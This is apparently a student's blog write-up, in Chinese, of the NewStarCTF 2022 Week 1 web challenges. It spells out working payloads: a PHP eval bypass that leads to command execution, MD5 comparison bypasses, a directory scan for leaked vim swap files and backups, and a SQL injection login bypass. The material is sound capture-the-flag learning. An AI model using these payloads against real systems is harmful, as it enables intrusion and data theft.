[Writeup]2022 NewstarCTF_Week1(Web部分)
一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了😀。
2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程
HTTP&&Head?Header!
burpsuite抓包再改,没什么难度。
NotPHP
进环境:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);//通过注释符注释掉命令执行,但不存在绕过吗?
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
} Pass it!
挺经典的PHP代码题了,第一个条件
(file_get_contents($_GET['data']) == "Welcome to CTF")
直接GET传参用data伪协议写就行:
/?data=data://text/plain,Welcome to CTF
第二个条件找MD5碰撞,两个不一样的东西MD5后hash值相等,有两种方法:第一种就是MD5无法加密数组所以会返回null,然后相等。第二种就是真的去找MD5碰撞使明文不等但密文相等
key1[]=1&&key2[]=2//注意这里key2[]不能等于1
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
非数组碰撞在burpsuite里用,直接在地址栏输好像太长了(?)哈哈
第三个条件直接POST num=2077a就行
接下来执行命令的时候撞墙了,因为他前面拼接了个'#',不能直接system('ls');。。搞了半天不知道这种情况要怎么解决,后来去网上找了下wp,原来要用?>把前面的PHP语句闭合再执行。它现在的形式是 ,前面拼个?>闭合开头,感谢这两位师傅的文章:
https://blog.csdn.net/fevergun/article/details/127593034
https://blog.csdn.net/weixin_46497491/article/details/126998485
还可以通过换行符%0a绕过这个#号;
后面就是正常的命令执行了,system('ls');看当前目录下的文件,system('ls%20/')看根目录:
根目录下有个flag,直接读:
payload:
/?data=data://text/plain,Welcome%20to%20CTF&&key1[]=1&&key2[]=2&&cmd=?><?php%20system('cat%20/flag');//别忘了POST num=2077a
我真的会谢
题目描述:我谢了啥?
发现要去找写些敏感的文件夹,我先想到的就是.git文件,结果它底下就没.git这个文件。。直接dirsearch扫一下吧:
>python dirsearch.py -u http://fa111efb-d217-458a-bf3b-18e20dc4853d.node4.buuoj.cn:81/ --delay 3 -t 30
后面找了找出了robots.txt之外的文件都是干啥的,感谢这位师傅的文章:
https://blog.csdn.net/qq_40317852/article/details/121582515
先是VIM泄露:
`在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn`
www.zip是存网站备份文件的
下载上面那三个文件后拿到分成三部分的flag,拼起来就行了。
Word-For-You
进入环境:
输入NewCTFer看看情况:
这东西像个登录框?看看是不是单引号包裹:
单引号包裹,直接1'or'1=1'#登录:
得到FLAG
这题应该还可以再查看留言那个板块SQL注入爆表爆列爆字段拿flag,懒得搞了XD